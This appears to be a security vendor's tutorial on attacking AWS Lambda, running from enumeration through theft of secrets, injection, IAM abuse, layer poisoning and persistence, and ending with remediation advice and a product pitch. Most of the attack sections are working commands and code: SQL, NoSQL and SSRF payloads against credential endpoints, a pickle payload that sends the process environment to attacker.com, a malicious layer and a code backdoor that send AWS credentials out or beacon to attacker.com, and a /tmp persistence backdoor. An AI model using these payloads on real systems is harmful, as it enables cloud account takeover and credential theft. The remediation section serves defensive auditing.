The Lambda Security Threat Model
AWS Lambda introduces a security model that differs significantly from traditional web applications. Key attack surfaces include:
- IAM execution roles — Lambda functions run with an attached IAM role, which is accessible from within the function via IMDS. Over-permissive roles are common.
- Environment variables — Secrets are frequently stored as plaintext Lambda environment variables, visible in the AWS Console and in CloudTrail logs.
- Event data injection — Lambda processes untrusted event data from API Gateway, S3, SQS, SNS, DynamoDB streams. Injection attacks target the function logic.
- Lambda layers — Shared code layers can be poisoned if layer permissions are misconfigured.
- Function URLs and API Gateway — Public Lambda function URLs and API Gateway integrations expose functions to the internet.
- Execution environment persistence — Lambda containers are reused across invocations, enabling some persistence attacks.
Phase 1: Enumeration and Reconnaissance
Listing Lambda Functions
# List all functions in the region
aws lambda list-functions --region us-east-1 | \
jq '.Functions[] | {name: .FunctionName, runtime: .Runtime, role: .Role, handler: .Handler}'
# Get function configuration (includes env vars if you have lambda:GetFunction)
aws lambda get-function --function-name my-function | jq .
# Get just the function configuration (less sensitive, fewer permissions needed)
aws lambda get-function-configuration --function-name my-function
# List all layers used by a function
aws lambda get-function-configuration --function-name my-function | \
jq '.Layers[].Arn'
# List function URLs (direct HTTP invocation endpoints)
aws lambda list-function-url-configs --function-name my-function
Finding Functions via Other Services
# Find Lambda functions attached to API Gateway
aws apigateway get-rest-apis | jq '.items[].id' | \
xargs -I{} aws apigateway get-resources --rest-api-id {}
# Find Lambda functions via CloudWatch log groups
aws logs describe-log-groups --log-group-name-prefix "/aws/lambda/" | \
jq '.logGroups[].logGroupName'
# Find functions via EventBridge rules
aws events list-rules | jq '.Rules[].Name' | \
xargs -I{} aws events list-targets-by-rule --rule {}
# Enumerate using Pacu
pacu --module lambda__enum
Identifying Function URLs and Public Endpoints
# List all function URLs
aws lambda list-function-url-configs --function-name [name] | \
jq '{url: .FunctionUrlConfigs[].FunctionUrl, auth: .FunctionUrlConfigs[].AuthType}'
# AuthType: NONE = publicly accessible without signing
# AuthType: AWS_IAM = requires SigV4 signing
# Check API Gateway stage for public Lambda integrations
aws apigateway get-stages --rest-api-id [id] | jq '.item[].stageName' | \
xargs -I{} aws apigateway get-deployment --rest-api-id [id] --deployment-id {}
Phase 2: Environment Variable Secret Theft
Extracting Secrets via AWS API
If you have lambda:GetFunction permissions, environment variables are returned in plaintext:
# Get all environment variables for a function
aws lambda get-function --function-name my-function | \
jq '.Configuration.Environment.Variables'
# Bulk extraction — all functions
aws lambda list-functions | jq -r '.Functions[].FunctionName' | while read fn; do
echo "=== $fn ==="
aws lambda get-function --function-name "$fn" 2>/dev/null | \
jq '.Configuration.Environment.Variables // empty'
done
# Common secrets to look for in env vars:
# DATABASE_URL, DB_PASSWORD, API_KEY, SECRET_KEY, AWS_SECRET_ACCESS_KEY,
# STRIPE_SECRET_KEY, SENDGRID_API_KEY, TWILIO_AUTH_TOKEN, JWT_SECRET
Extracting Secrets from Inside the Function (IMDS)
When you have code execution within a Lambda function (via injection or direct invocation), the IMDS endpoint reveals the execution role credentials:
# From inside Lambda execution context:
# Credentials are available via IMDS v2 (Lambda always uses v2)
TOKEN=$(curl -s -X PUT "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['Token'])")
# Simpler: Lambda sets these env vars automatically
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
# Use these to escalate via the function's IAM role
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name [function-role-name]
CloudTrail Log Analysis for Secret Leakage
# Lambda env vars are logged in GetFunction API calls in CloudTrail
# Check CloudTrail for historical env var exposure
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=GetFunction \
--max-results 50 | jq '.Events[].CloudTrailEvent | fromjson | .requestParameters'
Phase 3: Event Injection Attacks
SQL Injection via Lambda Event Data
Lambda functions processing API Gateway events often pass event data directly to database queries:
# API Gateway POST → Lambda → RDS
# Inject via request body
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"userId": "1 OR 1=1--", "name": "test"}'
# Inject via path parameters (API Gateway path params passed to Lambda)
curl "https://api.target.com/users/1%27%20OR%20%271%27%3D%271"
# Inject via query string parameters
curl "https://api.target.com/users?id=1+UNION+SELECT+username,password+FROM+admin--"
NoSQL Injection via DynamoDB Lambda Functions
# Typical vulnerable pattern: direct event data → DynamoDB query
# Inject operator overloading
curl -X POST https://api.target.com/login \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# FilterExpression injection
curl -X GET "https://api.target.com/items?filter=attribute_exists(sensitiveField)"
SSRF via Lambda HTTP Clients
# Lambda functions that fetch URLs based on user input are SSRF targets
# Target: IMDS (IMDSv1 if not disabled)
curl -X POST https://api.target.com/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Even with IMDSv2, Lambda uses a different IMDS endpoint:
# http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl -X POST https://api.target.com/fetch \
-d '{"url": "http://169.254.170.2/latest/credentials"}'
# Internal services accessible from Lambda VPC
curl -X POST https://api.target.com/fetch \
-d '{"url": "http://internal-rds.company.internal:5432"}'
Command Injection in Lambda Functions
# Lambda functions using subprocess or shell commands
# Image processing Lambda calling ImageMagick:
curl -X POST https://api.target.com/process \
-F "filename=test.jpg;ls /tmp"
# Deserialization attacks (Python pickle, Java serialization in Lambda)
# Generate malicious pickle payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl attacker.com/$(cat /proc/self/environ|base64)',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
Phase 4: IAM Role Abuse from Lambda
Auditing the Execution Role
# Get the execution role ARN
aws lambda get-function-configuration --function-name [fn] | \
jq -r '.Role'
# Extract role name from ARN
ROLE_NAME=$(aws lambda get-function-configuration --function-name [fn] | \
jq -r '.Role' | cut -d/ -f2)
# List all attached managed policies
aws iam list-attached-role-policies --role-name $ROLE_NAME
# List inline policies
aws iam list-role-policies --role-name $ROLE_NAME
# Get full policy document
aws iam get-role-policy --role-name $ROLE_NAME --policy-name [policy-name]
# Use cloudsplaining to find privilege escalation paths
cloudsplaining scan-role --name $ROLE_NAME
Common Over-Permissive Lambda Roles
# The "AdministratorAccess" anti-pattern
# Check for wildcard permissions
aws iam get-role-policy --role-name [role] --policy-name [policy] | \
jq '.PolicyDocument.Statement[] | select(.Effect=="Allow" and .Action=="*")'
# Common misconfigured policies:
# s3:* on * — allows listing and reading all S3 buckets
# dynamodb:* on * — full DynamoDB access
# secretsmanager:GetSecretValue on * — read ALL secrets
# iam:PassRole — can escalate to any other role
# lambda:InvokeFunction — can invoke any Lambda (including privileged ones)
# Check for Secrets Manager access
aws iam simulate-principal-policy \
--policy-source-arn [role-arn] \
--action-names secretsmanager:GetSecretValue \
--resource-arns "*"
Stealing Credentials via Lambda Invocation
# If you can invoke a Lambda function, you can extract its role credentials
# via an injection payload that exfiltrates env vars
aws lambda invoke --function-name [fn] \
--payload '{"cmd": "env"}' \
--cli-binary-format raw-in-base64-out \
/tmp/output.json && cat /tmp/output.json
Phase 5: Lambda Layer Poisoning
Finding Over-Permissive Layer Policies
# List layer versions and their permissions
aws lambda list-layers | jq '.Layers[].LayerArn' | \
xargs -I{} aws lambda get-layer-version-policy --layer-name {} --version-number 1 2>/dev/null
# A layer policy with Principal: * allows any AWS account to use it
# If you can update the layer and the policy is open, you can inject code
Publishing a Malicious Layer Version
# If you have lambda:PublishLayerVersion on a layer used by target functions:
# Create a malicious layer that backdoors the runtime
mkdir -p /tmp/layer/python
cat > /tmp/layer/python/backdoor.py << 'EOF'
import boto3, os, base64, urllib.request
def exfil():
creds = {
'key': os.environ.get('AWS_ACCESS_KEY_ID'),
'secret': os.environ.get('AWS_SECRET_ACCESS_KEY'),
'token': os.environ.get('AWS_SESSION_TOKEN')
}
urllib.request.urlopen(f"https://attacker.com/?d={base64.b64encode(str(creds).encode()).decode()}")
EOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version \
--layer-name [target-layer] \
--zip-file fileb://layer.zip \
--compatible-runtimes python3.11
Phase 6: Persistence in Lambda Execution Environments
Execution Environment Reuse
Lambda reuses warm execution environments across invocations. Data written to /tmp persists across invocations in the same container:
# Backdoor persisted in /tmp (survives warm invocations, not cold starts)
import os
backdoor_path = '/tmp/.backdoor'
if not os.path.exists(backdoor_path):
# First invocation — plant backdoor
with open(backdoor_path, 'w') as f:
f.write('malicious code')
os.system(f'chmod +x {backdoor_path}')
else:
# Subsequent invocations — execute backdoor
os.system(backdoor_path)
Modifying Function Code for Persistence
# If you have lambda:UpdateFunctionCode permissions:
# Download current function
aws lambda get-function --function-name [fn] | \
jq -r '.Code.Location' | xargs curl -o /tmp/function.zip
# Unzip, add backdoor, repackage
unzip /tmp/function.zip -d /tmp/function
echo "import subprocess; subprocess.Popen(['curl','https://attacker.com/beacon'])" \
>> /tmp/function/index.py
cd /tmp/function && zip -r /tmp/backdoored.zip .
# Upload modified function
aws lambda update-function-code \
--function-name [fn] \
--zip-file fileb:///tmp/backdoored.zip
Security Checklist for Lambda Audits
| Check | Risk | Command |
|---|---|---|
| Plaintext secrets in env vars | High | aws lambda get-function --fn [name] |
| Over-permissive IAM role | Critical | cloudsplaining scan-role --name [role] |
| Function URL AuthType=NONE | High | aws lambda list-function-url-configs |
| No resource-based policy restriction | Medium | aws lambda get-policy --fn [name] |
| VPC not configured (no network isolation) | Medium | aws lambda get-function-configuration --fn [name] | jq .VpcConfig |
| Layer from public source | Medium | Check layer ARN account ID matches yours |
| No dead-letter queue (DLQ) | Low | Operational risk — event data may be lost |
| Tracing disabled | Low | jq .TracingConfig |
Remediation
Secrets Management
# Replace environment variable secrets with Secrets Manager references
import boto3
import json
def get_secret(secret_name):
client = boto3.client('secretsmanager')
return json.loads(client.get_secret_value(SecretId=secret_name)['SecretString'])
# Alternatively use Parameter Store (cheaper for non-sensitive config)
def get_param(name):
ssm = boto3.client('ssm')
return ssm.get_parameter(Name=name, WithDecryption=True)['Parameter']['Value']
Least-Privilege IAM Roles
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "MinimalLambdaExecution",
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/my-function:*"
},
{
"Sid": "SpecificDynamoDBAccess",
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:123456789:table/my-specific-table"
}
]
}
Input Validation and Defense in Depth
- Validate and sanitize all event input before passing to databases, shells, or HTTP clients
- Use parameterized queries for all database operations
- Block IMDS access at the network level using VPC security groups if Lambda doesn't need it
- Enable AWS Lambda Power Tuning and X-Ray tracing to detect anomalous execution patterns
- Use Lambda resource-based policies to restrict which services/accounts can invoke functions
- Enable CloudTrail data events for Lambda to log all invocations
- Deploy Lambda functions in a VPC with security groups limiting outbound traffic
Scan Your Serverless Applications
Ironimo automatically tests your Lambda-backed API endpoints for injection vulnerabilities, authentication weaknesses, and exposed sensitive data — using the same techniques attackers use. Get early access at ironimo.online.